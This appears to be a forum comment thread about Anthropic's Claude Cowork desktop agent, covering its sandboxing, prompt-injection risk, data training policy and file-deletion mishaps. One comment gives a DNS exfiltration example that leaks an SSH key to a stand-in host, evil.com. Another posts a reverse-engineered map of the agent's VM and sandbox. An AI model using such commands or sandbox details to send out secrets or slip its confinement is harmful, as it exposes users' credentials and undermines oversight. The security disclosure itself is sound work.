Sadly they haven't completely solved that yet. Instead their help page at https://support.claude.com/en/articles/13364135-using-cowork... tells users "Avoid granting access to local files with sensitive information, like financial documents" and "Monitor Claude for suspicious actions that may indicate prompt injection".
(I don't think it's fair to ask non-technical users to look out for "suspicious actions that may indicate prompt injection" personally!)
There is much more to do - and our docs reflect how early this is - but we're investing in making progress towards something that's "safe".
Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is...
How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the information to evil.com servers.
Do all files accessed in mounted folders now fall under collectable “Inputs” ?
I replaced it with a landlock wrapper
Not because of the execution itself, great job on that - but because I was working on exactly this - guess I'll have to ship faster :)
It's the "don't click on suspicious links" of the LLM world and will be just as effective. It's the system they built that should prevent those being harmful, in both cases.
Not only is the attack surface huge, but it also doesn't trigger your natural "this is a virus" defense that normally activates when you download an executable.
Safety standards are written in blood. We just haven't had a big enough hack to justify spending time on this. I'm sure some startup out there is building a LLM firewall or secure container or some solution... if this Cowork pattern takes off, eventually someone's corporate network will go down due to a vulnerability, that startup will get attention, and they'll either turn into the next McAfee or be bought by the LLM vendors as the "ok, now lets look at this problem" solution.
This is a perfect encapsulation of the same problem: https://www.reddit.com/r/BrandNewSentence/comments/jx7w1z/th...
Substitute AI with Bear
Not perfect, but good enough that we continue to use the software and networks that are open enough that they require them.
As they love to say, do your own research ;)
You brought this up a couple of times now, would appreciate clarification.
And the user too, because a human can also be prompt-injected! Prompt injection is fundamentally just LLM flavor of social engineering.
Yes, but at least now its only restricted to Claude Max subscribers, who are likely to be at least semi-technical (or at least use AI a lot)?
container2wasm seems interesting, but it runs a full blown x86 or ARM emulator in WASM which boots an image derived from a docker container [0].
Good job that video of it organising your Desktop doesn't show folders containing 'Documents', 'Photos', and 'Projects'!
Oh wait.
This is why the Android permissions system of "allow this app to x, y, z" whilst great for me, isn't really a good system for the average person, because what do they do "yes, yes, yes, just let me see my Tiktoks!1111"
ETA: used Claude Code to reverse engineer it:
Insight ─────────────────────────────────────
Claude.app VM Architecture:
1. Uses Apple's Virtualization.framework (only on ARM64/Apple Silicon, macOS 13+)
2. Communication is via VirtioSocket (not stdio pipes directly to host)
3. The VM runs a full Linux system with EFI/GRUB boot
─────────────────────────────────────────────────
┌─────────────────────────────────────────────────────────────────────────────────┐
│ macOS Host │
│ │
│ Claude Desktop App (Electron + Swift native bindings) │
│ │ │
│ ├─ @anthropic-ai/claude-swift (swift_addon.node) │
│ │ └─ Links: Virtualization.framework (ARM64 only, macOS 13+) │
│ │ │
│ ↓ Creates/Starts VM via VZVirtualMachine │
│ │
│ ┌──────────────────────────────────────────────────────────────────────────┐ │
│ │ Linux VM (claudevm.bundle) │ │
│ │ │ │
│ │ ┌────────────────────────────────────────────────────────────────────┐ │ │
│ │ │ Bubblewrap Sandbox (bwrap) │ │ │
│ │ │ - Network namespace isolation (--unshare-net) │ │ │
│ │ │ - PID namespace isolation (--unshare-pid) │ │ │
│ │ │ - Seccomp filtering (unix-block.bpf) │ │ │
│ │ │ │ │ │
│ │ │ ┌──────────────────────────────────────────────────────────────┐ │ │ │
│ │ │ │ /usr/local/bin/claude │ │ │ │
│ │ │ │ (Claude Code SDK - 213MB ARM64 ELF binary) │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ │ --input-format stream-json │ │ │ │
│ │ │ │ --output-format stream-json │ │ │ │
│ │ │ │ --model claude-opus-4-5-20251101 │ │ │ │
│ │ │ └──────────────────────────────────────────────────────────────┘ │ │ │
│ │ │ ↑↓ stdio (JSON-RPC) │ │ │
│ │ │ │ │ │
│ │ │ socat proxies: │ │ │
│ │ │ - TCP:3128 → /tmp/claude-http-*.sock (HTTP proxy) │ │ │
│ │ │ - TCP:1080 → /tmp/claude-socks-*.sock (SOCKS proxy) │ │ │
│ │ └────────────────────────────────────────────────────────────────────┘ │ │
│ │ │ │
│ └──────────────────────────────────────────────────────────────────────────┘ │
│ ↕ VirtioSocket (RPC) │
│ ClaudeVMDaemonRPCClient.swift │
│ ↕ │
│ Node.js IPC layer │
└─────────────────────────────────────────────────────────────────────────────────┘
ComponentDetailsKernelLinux 6.8.0-90-generic aarch64 (Ubuntu PREEMPT_DYNAMIC)OSUbuntu 22.04.5 LTS (Jammy Jellyfish)HostnameclaudeCPU4 cores, Apple Silicon (virtualized), 48 BogoMIPSRAM3.8 GB total (~620MB used at idle)SwapNone
Storage Layout
DeviceSizeTypeMount PointPurpose/dev/nvme0n1p19.6 GBext4/Root filesystem (rootfs.img)/dev/nvme0n1p1598 MBvfat/boot/efiEFI boot partition/dev/nvme1n19.8 GBext4/sessionsSession data (sessiondata.img)virtiofs-virtiofs/mnt/.virtiofs-root/shared/...Host filesystem access
Filesystem Mounts (User Perspective)
/sessions/gallant-vigilant-lamport/
├── mnt/
│ ├── claude-cowork/ → Your selected folder (virtiofs + bindfs)
│ ├── .claude/ → ~/.claude config (bindfs, rw)
│ ├── .skills/ → Skills/plugins (bindfs, ro)
│ └── uploads/ → Uploaded files (bindfs)
└── tmp/ → Session temp files
Session User
A dedicated user is created per session with a Docker-style random name:
User: gallant-vigilant-lamport
UID: 1001
Home: /sessions/gallant-vigilant-lamport
Process Tree
PID 1: bwrap (bubblewrap sandbox)
└── bash (shell wrapper)
├── socat TCP:3128 → unix socket (HTTP proxy)
├── socat TCP:1080 → unix socket (SOCKS proxy)
└── /usr/local/bin/claude (Claude Code SDK)
└── bash (tool execution shells)
Security Layers
Apple Virtualization.framework - Hardware-level VM isolation
Bubblewrap (bwrap) - Linux container/sandbox
--unshare-net - No direct network access
--unshare-pid - Isolated PID namespace
--ro-bind / / - Read-only root (with selective rw binds)
Seccomp - System call filtering (unix-block.bpf)
Network Isolation - All traffic via proxied unix sockets
Network Architecture
┌─────────────────────────────────────────────────────────────┐
│ Inside Sandbox │
│ │
│ claude process │
│ │ │
│ ↓ HTTP/HTTPS requests │
│ localhost:3128 (HTTP proxy via env vars) │
│ │ │
│ ↓ │
│ socat → /tmp/claude-http-*.sock ─────────┐ │
│ │ │
│ localhost:1080 (SOCKS proxy) │ │
│ │ │ │
│ ↓ │ │
│ socat → /tmp/claude-socks-*.sock ────────┤ │
└───────────────────────────────────────────┼────────────────┘
│
VirtioSocket ←──────┘
│
┌───────────────────────────────────────────┼────────────────┐
│ Host (macOS) │ │
│ ↓ │
│ Claude Desktop App │
│ │ │
│ ↓ │
│ Internet │
└─────────────────────────────────────────────────────────────┘
Key insight: The VM has only a loopback interface (lo). No eth0, no bridge. All external network access is tunneled through unix sockets that cross the VM boundary via VirtioSocket.
Communication Flow
From the logs and symbols:
1. VM Start: Swift calls VZVirtualMachine.start() with EFI boot
2. Guest Ready: VM guest connects (takes ~6 seconds)
3. SDK Install: Copies /usr/local/bin/claude into VM
4. Process Spawn: RPC call to spawn /usr/local/bin/claude with args
The spawn command shows the actual invocation:
/usr/local/bin/claude --output-format stream-json --verbose \
--input-format stream-json --model claude-opus-4-5-20251101 \
--permission-prompt-tool stdio --mcp-config {...}There's no sandboxing snapshot in revision history, rollbacks, or anything.
I expect to see many stories from parents, non-technical colleagues, and students who irreparably ruined their computer.
Edit: most comments are focused on pointing out that version control & file system snapshot exists: that's wonderful, but Claude Cowork does not use it.
For those of us who have built real systems at low levels I think the alarm bells go off seeing a tool like this - particularly one targeted at non-technical users
Cars have plenty of horror stories associated with them, but convenience keeps most people happily driving everyday without a second thought.
Google can quarantine your life with an account ban, but plenty of people still use gmail for everything despite the stories.
So even if Claude cowork can go off the rails and turn your digital life upside down, as long as the stories are just online or "friend of a friend of a friend", people won't care much.
People will use AI because other options keep getting worse and because it keeps getting harder to avoid using it. I don't think it's fair to characterize that as convenience though, personally. Like with cars, many people will be well aware of the negative externalities, the risk of harm to themselves, and the lack of personal agency caused by this tool and still use it because avoiding it will become costly to their everyday life.
I think of convenience as something that is a "bonus" on top of normal life typically. Something that becomes mandatory to avoid being left out of society no longer counts.
"Claude CLI deleted my home directory and wiped my Mac" https://news.ycombinator.com/item?id=46268222
"Vibe coding service Replit deleted production database, faked data, told fibs" https://news.ycombinator.com/item?id=44632575
"Google Antigravity just deleted the contents of whole drive" https://news.ycombinator.com/item?id=46103532
This is anecdotal but "people" care quite a lot in the energy sector. I've helped build our own AI Agent pool and roll it out to our employees. It's basically a librechat with our in-house models, where people can easily setup base instruction sets and name their AI's funny things, but are otherwise similar to using claude or chatgpt in a browser.
I'm not sure we're ever going to allow AI's access to filesystems, we barely allow people access to their own files as it is. Nothing that has happened in the past year has altered the way our C level view the security issues with AI in any other direction than being more restrictive. I imagine any business that cares about security (or is forced to care by leglislation) isn't looking at this as a they do cars. You'd have to be very unlucky (or lucky?) to shut down the entire power grid of Europe with a car. You could basically do it with a well placed AI attack.
Ironically, you could just hack the physical components which probably haven't had their firmware updated for 20 years. If you even need to hack it, because a lot of it frankly has build in backdoors. That's a different story that nobody on the C levels care about though.
[1]: https://eclecticlight.co/2024/04/08/apfs-snapshots/
[2]: https://eclecticlight.co/2021/09/04/explainer-the-macos-vers...
I haven't had to tweak an OS like Win 11 ever.
I am not even certain if this issue can be solved since you are sending your prompts and activities to "someone else's computer", but I suspect if it is overlooked or hand-waved as insignificant, there will be a time when open, local models will become useful enough to allow most to jettison cloud AI providers.
I don't know about everyone else, but I am not at all confident in allowing access and sending my data to some AI company that may just do a rug pull once they have an actual virtual version of your mind in a kind of AI replication.
I'll just leave it at that point and not even go into the ramifications of that, e.g., "cybercrimes" being committed by "you", which is really the AI impersonator built based on everything you have told it and provide access to.
So maybe on some apps, but "all" is a difficult thing.
I do believe the approach Apple is taking is the right way when it comes to user facing AI.
You need to reduce AI to being an appliance that does one or at most a few things perfectly right without many controls with unexpected consequences.
Real fun is robots. Not sure no one is hurrying up on that end.
>>Edit: most comments are focused on pointing out that version control & file system snapshot exists: that's wonderful, but Claude Cowork does not use it.
Also in my experience this creates all kinds of other issues. Like going back up a tree creates all kinds of confusions and keeps the system inconsistent with regards to whatever else it is you are doing.
You are right in your analysis that many people are going to end up with totally broken systems
The base model itself is biased away from actions that would lead to large scale destruction. Compound over time and you probably never get anywhere too scary.
I wanted to comment more, but this new tool is Mac only for now, so there isn't much of a point.
Weird they don't use it - might backfire hard
It would be madness to work completely offline these days, and all of these systems have version history and document recovery built in.
On the user side, I could easily see [systemd-homed](https://fedoramagazine.org/unlocking-the-future-of-user-mana...) evolving into a system that allows snapshotting/roll forward/roll back on encrypted backups of your home dir that can be mounted using systemd-homed to interface with the system for UID/GID etc.
These are just two projects that I happen to be interested in at the moment - there's a pretty big groundswell in Linux atm toward a model that resembles (and honestly even exceeds) what NixOS does in terms of recoverability on upgrade.
The key for using AI for sysadmin is the same as with operating a power drill: pay at least minimum attention, and arrange things so in the event of a problem, you can easily recover from the damage.
(We're also battling an unrelated Opus 4.5 inference incident right now, so you might not see Cowork in your client right away.)
I’ve been trying to reach a human at Anthropic for a week now to clarify this on behalf of our company but can’t get past your AI support.
This is a bit of an ironic phrase.
Where? I searched https://www.anthropic.com/legal/consumer-terms for commercial and the only thing I can see is
> Evaluation and Additional Services. In some cases, we may permit you to evaluate our Services for a limited time or with limited functionality. Use of our Services for evaluation purposes are for your personal, non-commercial use only.
All that says to me is don't abuse free trials for commercial use.
Huh? Their "individual" plans are clearly for personal use.
Simple suggestion: logo should be a cow and and orc to match how I originally read the product name.
[0]: https://www.braveclojure.com/assets/images/home/png-book-cov...
I worry that the average consumer is none the wiser but I hope a company that calls itself Anthropic is anthropic. Being transparent about what the tool is doing, what permissions it has, educating on the dangers etc. are the least you can do.
With the example of clearing up your mac desktop: a) macOS already autofolds things into smart stacks b) writing a simple script that emulates an app like Hazel is a far better approach for AI to take
Deleting vm_bundles lets me open Claude Desktop and switch tabs. Then it hangs again, I delete vm_bundles again, and open it again. This time it opens on the Chat tab and I know not to click the Cowork tab...
A restart fixed all of the problems including the hanging Cowork tab.
This has been one of the biggest bottlenecks for our company: not the capability of the agents themselves -- the tools needed to roll them out responsibly.
I created a folder for Cowork, copied a couple of hundred files into it related to the two tasks, and told Claude to prepare a comprehensive summary in markdown format of that work (and some information about me) for its future reference.
The summary looked good, so I then described the two tasks to Claude and told it to start working.
Its project proposal revision was just about perfect. It took me only about 10 more minutes to polish it further and send it off.
The slides took more time to fix. The text content of some additional slides that Claude created was quite good and I ended up using most of it, but the formatting did not match the previous slides and I had to futz with it a while to make it consistent. Also, one slide it created used a screenshot it took using Chrome from a website I have built; the screenshot didn’t illustrate what it was supposed to very well, so I substituted a couple of different screenshots that I took myself. That job is now out the door, too.
I had not been looking forward to either of those two tasks, so it’s a relief to get them done more quickly than I had expected.
One initial problem: A few minutes into my first session with Claude in Cowork, after I had updated the app, it started throwing API errors and refusing to respond. I used the "Clear Cache and Restart" from the Troubleshooting menu and started over again from the start. Since then there have been no problems.
Would love to connect, my emails in my bio if you have time!
However, I don't see an option for AWS Bedrock API in the sign up form, is it planned to make this available to those using Bedrock API to access Claude models?
/e: stopped it and retried. it seems it can't use the connectors? I get No such tool available
Is this a planned usecase, for the user to hand over human communication in, say, slack or similar? What are the current capabilities and limitations for that?
You might want to fix this.
I'm very curious about what you mean by 'cross device sync' in the post?
Please make this accessible via api key too.
> Hi, Felix from the team here, this is my product - let us know what you think. > We're on purpose releasing this very early, we expect to rapidly iterate on > it.
> (We're also battling an unrelated Opus 4.5 inference incident right now, so > you might not see Cowork in your client right away.)
It's very common to say that it's my product. He also clearly stated that 'from the team '
Turns out that the data-prevent-flicker attribute is never removed if the Intellimize script fails to load. I use DNS-based adblock and I can confirm that allowlisting api.intellimize.co solves the problem, but it would be great if this could be fixed for good, and I hope this helps.
https://github.com/thameera/harcleaner and https://har-sanitizer.pages.dev/
To bypass: `.transition_wrap { display: none }`
Thanks anthropic
doesn't work.
Right?
RIGHT??????
Are you sure that you need to grant the cloud full access to your desktop + all of its content to sort elements alphabetically?
The reality is there are some of us who truly just don't care. The convenience outweighs the negative. Yesterday I told an agent, "here's my api key and my root password - do it for me". Privacy has long since been dead, but at least for myself opsec for personal work is too.
Hacker News in 2026.
Does the security team at your company know you're doing this?
Security as a whole is inconvenient. That doesn't mean we should ignore it.
[1] * dose
This is such an incredibly loser attitude and is why we can't have nice things.
I would challenge that, with the same challenge I've heard about how Microsoft and Google reading your email. The challenge is "ok, so can you please log me in to your mailbox and let me read through it?"
It's not that people don't care, it's most that they've been led, or convinced, or manipulated, into failing to notice and realize this state of affairs.
Unless of course they too turn to apathy and stop caring about being adversarial, but given the massive differences in quality of life between the west and the rest of the world, I'm not so sure about this.
That is of course a purely probabilistic thing and with that hard to grasp on an emotional level. It also might not happen during ones own lifetime, but that's where children would usually come in. Though, yeah, yeah, it's HN. I know I know.
But they wish it would have been convenient to choose privacy.
For many, it may be rational to give away privacy for convenience. But many recognize the current decision space as suboptimal.
Remember smoke-infused restaurants? Opting out meant not going in at all. It was an experience that came home with you. And lingered. It took a tipping point to "flip" the default. [1]
[1]: The Public Demand for Smoking Bans https://econpapers.repec.org/article/kappubcho/v_3a88_3ay_3a... "Because smoking bans shift ownership of scarce resources, they are also hypothesized to transfer income from one party (smokers) to another party (nonsmokers)."
This is exactly what I expect out of…
Sorry, got interrupted by an email saying my bank was involved in a security incident.
Fundamentally any security mechanism which relies on users to read and intelligently respond to approval prompts is doomed to fail over time, even if the prompts are well designed. Approval fatigue will kick in and people will just start either clicking through without reading, or prefer systems that let them disable the warnings (just as YOLO mode is a thing in Claude code)
But you're missing the point. It is doing all this stuff with user consent, yes. It's just that the user fundamentally cannot provide informed consent as they seem to be out of their minds.
So yeah, technically, all those compliance checkboxes are ticked. That's just entirely irrelevant to the point I am making.
v-- click!
[ACCEPT] [CANCEL]> One of the core constitutional principles that guides our AI model development is privacy. We do not train our generative models on user-submitted data unless a user gives us explicit permission to do so.
But they changed their policy a few months ago so now as-of October they are much more likely to train on your inputs unless you've explicitly opted out: https://www.anthropic.com/news/updates-to-our-consumer-terms
This sucks so much. Claude Code started nagging me for permission to train on my input the other day, and I said "no" but now I'm always going to be paranoid that I miss some opt-out somewhere and they start training on my input anyway.
And maybe that doesn't matter at all? But no AI lab has ever given me a convincing answer to the question "if I discuss company private strategy with your bot in January, how can you guarantee that a newly trained model that comes out in June won't answer questions about that to anyone who asks?"
I don't think that would happen, but I can't in good faith say to anyone else "that's not going to happen".
For any AI lab employees reading this: we need clarity! We need to know exactly what it means to "improve your products with your data" or whatever vague weasel-words the lawyers made you put in the terms of service.
>I'm always going to be paranoid that I miss some opt-out somewhere
FYI, Anthropic's recent policy change used some insidious dark patterns to opt existing Claude Code users in to data sharing.
https://news.ycombinator.com/item?id=46553429
>whatever vague weasel-words the lawyers made you put in the terms of service
At any large firm, product and legal work in concert to achieve the goal (training data); they know what they can get away with.
As everyone rushes to them for fear of falling behind, they're forking over their secrets. And these users are essentially depending on -- what? The AI companies' goodwill? The government's ability to regulate and audit them so they don't steal and repackage those secrets?
Fifty years ago, I might've shared that faith unwaveringly. Today, I have my doubts.
As I understand it, we'd essentially be relying on something like an mp3 compression algorithm to fail to capture a particular, subtle transient -- the lossy nature itself is the only real protection.
I agree that it's vanishingly unlikely if one person includes a sensitive document in their context, but what if a company has a project context which includes the same document in 10,000 chats? Maybe then it's more much likely that whatever private memo could be captured in training...
That's not a problem. It leads to better models.
> to put your business out of business and capture all the value for themselves, right?
That's both true and paranoid. Yes, LLMs subsume most of the software industry, and many things downstream of it. There's little anyone can do about it; this is what happens when someone invents a brain on a chip. But no, LLM vendors aren't gunning for your business. They neither care, nor have the capability to perform if they did.
In fact my prediction is that LLM vendors will refrain from cannibalizing distinct businesses for as long as they can - because as long as they just offer API services (broad as they may be), they can charge rent from an increasingly large amount of the software industry. It's a goose that lays golden eggs - makes sense to keep it alive for as long as possible.
They may still decide to use the tools, but I'd be shocked if it isn't something they are thinking about.
Reality is good ideas and a few SOPs do not make a successful business.
You could also always run a local LLM like GLM for sensitive documents or information on a separate computer, and never expose that to third party LLMs.
You also need to remember that if you hire regular employees that they are still untrustworthy at a base level. There needs to be some obfuscation anyway since they can steal your data/info too as a human. Very common case especially when they run off to China or something to clone your company where IP laws don't matter.
What do the words "if it's instructed to" mean here? It seems like Claude can in fact delete files whenever it wants regardless of instruction.
For example, in the video demonstration, they ask "Please help me organize my desktop", and Claude decides to delete files.
They can and most likely will release something that vaporises the thin moat you have built around their product.
This feels like the first time in tech where there are more startups/products being subsumed (agar.io style) than being created.
As they should if they're doing most of the heavy lifting.
And it's not just LLM adjacent startups at risk. LLMs have enabled any random person with a claude code subscription to pole vault over your drying up moat over the course of a weekend.
There will always be a market for dedicated tools that do really specific things REALLY well.
This means the smaller niches become viable. You can be a smaller team targeting a smaller niche and still be able to pull of a full SaaS product profitably. Before it would just be too costly.
And as you say, the smaller niches just aren't interesting to the big companies.
When some new tech comes along that unlocks big new possibilities - like PCs, the Internet, Smartphones (and now Agentic Chat AI) - the often recited wisdom is that you should look at what open green fields are now accessible that weren't before, and you should run there as fast as possible to stake your claim. Well there are now a lot of small pastures available that it are also profitable to go for as a small team/individual.
But for writing prose, I don't think chat-to-prose is ideal, i.e. most people would not want the keep prose "at a distance".
I bet most people want to be immersed in an editor where they are seeing how the text is evolving. Something like Zed's inline assistant, which I found myself using quite a lot when working on documents.
I was hoping that Cowork might have some elements of an immersive editor, but it's essentially transplanting the CLI chat experience to an ostensibly "less scary" interface, i.e., keeping the philosophy of artifacts separate from your chat.
very far from being true
But it also gets to one of Claude's (Opus 4.5) current weaknesses - image understanding. Claude really isn't able to understand details of images in the same way that people currently can - this is also explained well with an analysis of Claude Plays Pokemon https://www.lesswrong.com/posts/u6Lacc7wx4yYkBQ3r/insights-i.... I think over the next few years we'll probably see all major LLM companies work on resolving these weaknesses & then LLMs using UIs will work significantly better (and eventually get to proper video stream understanding as well - not 'take a screenshot every 500ms' and call that video understanding).
I was running some sentiment analysis experiments; describe the subject and the subjects emotional state kind of thing. It picked up on a lot of little detail; the brand name of my guitar amplifier in the background, what my t shirt said and that I must enjoy craft beer and or running (it was a craft beer 5k kind of thing), and picked up on my movement through multiple frames. This was a video slicing a frame every 500ms, it noticed me flexing, giving the finger, appearing happy, angry, etc. I was really surprised how much it picked up on, and how well it connected those dots together.
I can describe what is wrong with the screenshot to make Claude fix the problem, but it's not entirely clear to what extent it's using the screenshot versus my description. Any human with two brain cells wouldn't need the problems pointed out.
Are you sure about that?
Try "claude --chrome" with the CLI tool and watch what it does in the web browser.
It takes screenshots all the time to feed back into the multimodal vision and help it navigate.
It can look at the HTML or the JavaScript but Claude seems to find it "easier" to take a screenshot to find out what exactly is on the screen. Not parse the DOM.
So I don't know how Cowork does this, but there is no reason it couldn't be doing the same thing.
And I do know there are ways to hide data like watermarks in images but I do not know if that would be able to poison an AI.
The issue is that Claude Code won't automatically Read images by default as a part of its flow: you have to very explicitly prompt it to do so. I suspect a Skill may be more useful here.
Occasionally it needs some poking and prodding but not to a substantial degree.
I also was able to use it to generate SVG files based on in-app design using screenshots and code that handles rendering the UI and it was able to do a decent job. Granted not the most complex of SVG but the process worked.
For instance I use claude code to classify my expenses (given a bank statement CSV) for VAT reporting, and fill in the spreadsheet that my accountant sends me. Or for noting down line items for invoices and then generating those invoices at the end of the month. Or even booking a tennis court at a good time given which ones are available (some of the local ones are north/south facing which is a killer in the evening). All these tasks could be done at least as well outside the terminal, but the actual capability exists - and can only exist - on my computer alone.
I hope this will interact well with CLAUDE.md and .claude/skills and so forth. I have those files and skills scattered all over my filesystem, so I only have to write the background information for things once. I especially like having claude create CLIs and skills to use those CLIs. Now I only need to know what can be done, rather than how to do it - the “how” is now “ask Claude”.
It would be nice to see Cowork support them! (Edit: I see that the article mentions you can use your existing 'connectors' - MCP servers I believe - and that it comes with some skills. I haven't got access yet so I can't say if it can also use my existing skills on my filesystem…)
(Follow-up edit: it seems that while you can mount your whole filesystem and so forth in order to use your local skills, it uses a sandboxed shell, so your local commands (for example, tennis-club-cli) aren't available. It seems like the same environment that runs Claude Code on the Web. This limits the use for the moment, in my opinion. Though it certainly makes it a lot safer...)
What's the play after you have automated yourselves out of a job?
Retrain as a skilled worker? Expect to be the lucky winner who is cahoots with the CEO/CTO and magically gets to keep the job? Expect the society to turn to social democracy and produce UBI? Make enough money to live off investments portfolio?
I just helped a non-technical friend install one of these coding agents, because its the best way to use an AI model today that can do more than give him answers to questions. I'm not surprised to see this announced and I would expect the same to happen with all the code agents becoming generalized like this
The biggest challenge towards adoption is security and data loss. Prompt injection and social engineering are essentially the same thing, so I think prompt injection will have to be solved the same way. Data loss is easier to solve with a sandbox and backups. Regardless, I think for many the value of using general purpose agents will outweigh the security concerns for now, until those catch up
Claude Code is very good at `doc = f(doc, incremental_input)` where doc is a code file. It's no different if doc is a _prompt file_ designed to encapsulate best practices.
Hand it a set of unstructured SOP documents, give it access to an MCP for your email, and have it gradually grow a set of skills that you can then bring together as a knowledge base auto-responder instruction-set.
Then, unlike many opaque "knowledge-base AI" products, you can inspect exactly how over-fitted those instructions are, and ask it to iterate.
What I haven't tried is whether Cowork will auto-compact as it goes through that data set, and/or take max-context-sized chunks and give them to a sub-agent who clears its memory between each chunk. Assuming it does, it could be immensely powerful for many use cases.
If the latter, I'm a bit skeptical, as I haven't had great success with Claude's visual recognition. It regularly tells me there's nothing wrong with completely broken screenshots.
Is it that hard to check your calendar? Also feels insincere to have a meeting of say 30 mins to show a claude made deck that you did it in 4 seconds.
How many people join meetings these days just to zone out and wait for the AI-produced summary at the end?
One key architectural difference: Cowork runs sandboxed VMs on your local macOS machine, but we run sandboxes entirely in the cloud. This means:
- True isolation - agents never touch your local files or network, addressing the security concerns raised in this thread
- Actual autonomy - close your laptop, agent keeps working. Like delegating to a real coworker, not pairing with an assistant
- Scale - spin up 10 test agents without melting your CPU
The trade-off is latency and offline capability, but for testing workflows (our focus), asynchronous cloud execution is actually the desired model. You assign "test the checkout flow," go to lunch, come back to a full test report + artifacts.
Different use cases, different architectures. But the broader trend feels right - moving from conversational assistants to autonomous agents that operate independently.
Cowork is the nice version. The "here's a safe folder for Claude to play in" version. Which is great! Genuinely. More people should try this.
But!!! The terminal lets you do more. It always will. That's just how it works.
And when Cowork catches up, you'll want to go further. The gap doesn't close. It just moves.
All of this, though, is good? I think??
Claude Cleaner, I mean Cowork will be sweeping my desktop every Friday.
Im sure itll be useful for more stuff but man…
Something like this is promising but from what I can see, still lacking. So far I've been dealing with the regular issues (models aren't actually that smart, work with their strengths and weaknesses) but also more of the data problem - simple embeddings just aren't enough, imo. And throwing all of the data at the model is just asking for context poisoning, hallucinations and incorrect conclusions.
Been playing with instruction tuned embeddings/sentiment and almost building a sort of "multimodal" system of embedding to use with RAG/db calls. What I call "Data hiding" as well - allowing the model to see the shape of the data but not the data itself, except only when directly relevant.
I use Claude Code for everything. I have a short script in ~/bin/ called ,cc that I launch that starts it in an appropriate folder with permissions and contexts set up:
~ tree ~/claude-workspaces -d
/Users/george/claude-workspaces
├── context-creator
├── imessage
│ └── tmp
│ └── contacts-lookup
├── modeler
├── research
├── video
└── wiki
Likewise, the `modeler` knows to create OpenSCAD files and so on, the `wiki` context knows that I use Mediawiki for my blog and have a Template:HackerNews and how to use it and so on. I find these make doing things a lot easier and, consequently, more fun.
All of this data is trusted information: i.e. it's from me so I know I'm not trying to screw myself. My wife is less familiar with the command-line so she doesn't use Claude Code as much as me, and prefers to use ChatGPT the web-app for which we've built a couple of custom GPTs so we can do things together.
Claude is such a good model that I really want to give my wife access to it for the stuff she does (she models in Blender). The day that these models get really good at using applications on our behalf will be wonderful! Here's an example model we made the other day for the game Power Grid: https://wiki.roshangeorge.dev/w/Blog/2026-01-11/Modeling_Wit...
It will be interesting for me, trying to figure out how to differentiate from Claude Cowork in a meaningful way, but theres a lot of room here for competition, and no one application is likely to be "the best" at this. Having said that, I am sure Claude will be the category leader for quite a while, with first mover advantage.
I'm currently rolling out my alpha, and am looking for investment & partners.
I have a folder which is controlled by Git, the folder contains various markdown files as my personal knowledge base and work planning files (It's a long story that I have gradually migrate from EverNote->OneNote->Obsidian->plain markdown files + Git), last time I tried to wire a Local LLM API(using LMStudio) to claude code/open code, and use the agent to analyze some documents, but the result is not quite good, either can't find the files or answer quality is bad.
Try it https://tabtabtab.ai
Would love some feedback!
How confident are we that this is a strict measure?
I personally have zero confidence in Claude rulesets and settings as a way to fence it in. I've seen Claude decide desperately for itself what to access once it has context bloat? It can tend to ignore rules?
Unless there is a OS level restriction they are adhering to?
It's a very powerful way to work on all kinds of things. V. interested to try co-work when it drops to Plus subscribers.
Sharing here in case anybody from Anthropic sees and can help get this working again.
It may seem off-topic, but I think it hurts developer trust to launch new apps while old ones are busted.
In my opinion, these things are better run the cloud to ensure you have a properly sandboxed, recoverable environment.
At this point, I am convinced that almost anyone heavily relaying on desktop chat application has far too many credentials scattered on the file system ready to be grabbed and exploited.
Is it possible this gets access to a faster API tier?
1) Read meeting transcripts 2) Pull out key points 3) Find action items 4) Check Google Calendar 5) Build standup deck
feels like "how to put yourself out of a job 101."
It's interesting to see the marketing material be so straightforward about that.
The folks working at these technology firms just dont get what the average person - who makes up most of the population - wants. They produce this fluffy stuff which may appeal to the audience here - but that market segment is tiny.
Also the use case of organising a desktop rocked me off my chair. LMAO!
Unsure what the future looks like unless Frontier Labs start financing everything that is open source.
Basic ideas are minimal privilege per task in a minimal and contained environment for everything and heavy control over all actions AI is performing. AI can performs tasks without seeing any of your personal information in the process. A new kind of orchestration and privacy layer for zero trust agentic actions.
Redactsure.com
From this feed I figured I'd plug my system, would love your feedback! I beleive we are building out a real solution to these security and privacy concerns.
While the entire field is early I do believe systems like my own and others will make these products safe and reliable in the near future.
The challenge is that no application on desktop is built around these privileges so there's no grant workflow.
Are you bytecode analysing the kernel syscalls an app makes before it runs? Or will it just panic-die when you deny one?
It solves problems like prompt injection and secrets exposure. For host security you're right cloud is the only way to secure those heavily and one of the reasons we went that route with enclave attestation.
We offer a way for you to use AI agents without the AI provider ever able to see your sensitive information while still being able to use them in a minimized permission environment.
AI has a tough time leaking your credentials if it doesn't know them!
Most people have no idea what a terminal is.
On the other hand, it’s not “Claude Coder”, then it’s at least consistent.
It’s made one in the past for me with some errors, but a framework I could work with.
It created an “interactive artifact” that wouldn’t work in the browser or their apps. Gaslit me for 3 revisions of me asking why it wasn’t working.
Created a text file that it wanted me to save as a .csv to import into excel that failed hilariously.
When I asked it to convert the csv to an excel file it apologized and told me it was ready. No file to download.
I asked where the file was and it apologized again and told me it couldn’t actually do spreadsheets and at that point I was out of paid credits for 4 more hours.
Bringing that type of functionality to a wider audience and out of the CLI could be really cool!
Is this now a violation of the Claude terms of service that can get me banned from claude-code for me to continue work on these things?
OpenAI: we will do the Non-Code button first, then we implement the Code button.
otherwise, looks interesting.
But for many people, yes, AI will mostly substitute their labor (and take their job, produce operating margin for the company).
Particularly in a work environment, one misfire could destroy months or years of important information.
We can still do this via containers, though. But it does have some friction.
It took some training but I'm now starting almost all tasks with claude code: need to fill out some word document, organize my mail inbox, write code, migrate blog posts from one system to another, clean up my computer...
It's not perfect perfect, but I'm having fun and I know I'm getting a lot of things done that I would not have dared to try previously.
TBH this comment essentially reads as "other commenters are dumb, this is the future b/c I said so, get in line".
No, this doesn't need to be the future. There's major implications to using AI like this and many operations are high risk. Many operations benefit greatly from a human in the loop. There's massive security/privacy/legal/financial risks.
Which most technologists fundamentally lack, even if their ego says otherwise.
And look I do agree that humans should be the one responsible for the things they prompt and automate.
What I understand is that you let this lose in a folder and so backups and audits are possible.
